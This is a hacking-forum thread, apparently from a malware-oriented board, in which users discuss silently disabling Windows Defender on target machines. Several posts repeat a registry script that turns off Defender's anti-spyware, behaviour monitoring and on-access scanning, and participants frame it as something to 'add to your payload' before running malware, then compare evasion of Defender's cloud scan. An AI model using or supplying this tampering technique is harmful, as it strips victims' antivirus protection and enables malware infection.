I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot
(Apr 23, 2019 05:17 AM)Nosfir Wrote: I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot
It can be permanently disabled via the Registry
Nyan should include this:
Code
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001
Apr 23, 2019 05:22 AM (This post was last modified: Apr 23, 2019 05:26 AM by NYANxCAT.)
(Apr 23, 2019 04:24 AM)QU⚡CKSILVER Wrote: So this is basically Windows Defender tampering via Powershell, right?
Yes
(Apr 23, 2019 05:17 AM)Nosfir Wrote: I’m almost positive this won’t work a large chunk of the time.. this is not by any means some new tactic, and WD will re-enable itself after system reboot
You didn't understand my thread. This will prevent WD from scanning files [without] restart the PC and without notification... it's a silent code.
WD will not re-enable itself. you should try it first. or at least compare it to other methods.
(Apr 23, 2019 05:21 AM)QU⚡CKSILVER Wrote: It can be permanently disabled via the Registry
Nyan should include this:
Code
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001
Ok. Try your code then run any malware.
Then
try my code and run the same malware again.
You didn't understand my thread. This will prevent WD from scanning files [without] restart the PC and without notification... it's a silent code.
WD will not re-enable itself. you should try it first. or at least compare it to other methods.
Ok. Try your code then run any malware.
Then
try my code and run the same malware again.
if you do this you will understand this thread.
I get it, your version disables it permanently, never said it didn't. But it's always good to set the registry parameters to ensure it will never enable itself again.
Apr 23, 2019 05:57 AM (This post was last modified: Apr 23, 2019 06:01 AM by NYANxCAT.)
(Apr 23, 2019 05:41 AM)Nosfir Wrote: I have tested this WD will re enable itself
This is no new method it’s quite old
It should not re-enable WD. BUT you can also add this method to your payload.
VIDEO => https://www.youtube.com/watch?v=Wh6O9pwY40U
I didn't say it's new. I said this method will disable wd without restarting the pc and without notification. that's all.
(Apr 23, 2019 05:46 AM)QU⚡CKSILVER Wrote: I get it, your version disables it permanently, never said it didn't. But it's always good to set the registry parameters to ensure it will never enable itself again.
Apr 23, 2019 09:31 AM (This post was last modified: Apr 23, 2019 09:32 AM by Cyber Coder.)
good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens
Apr 23, 2019 10:09 AM (This post was last modified: Apr 23, 2019 10:10 AM by NYANxCAT.)
(Apr 23, 2019 09:31 AM)Cyber Coder Wrote: good, now, after you build your program in the main windows, use a browser to download it into the vm simulating a real world scenario instead of drag&drop,make sure defender is up and running including the cloud scan , try this 2-3 times and see what happens
Ok
EDIT: btw there are no 2-3times, once it executed WD will be gone... that's the point of this thread you know...
EDIT: btw there are no 2-3times, once it executed WD will be gone... that's the point of this thread you know...
i said 2-3 times because wd cloud scan sometimes glitches
according to my test you will get detected before even having the chance to execute your file to disable it but who knows, maybe they changed some policies , i did this tests half a year ago
let me know the honest results, i'm curious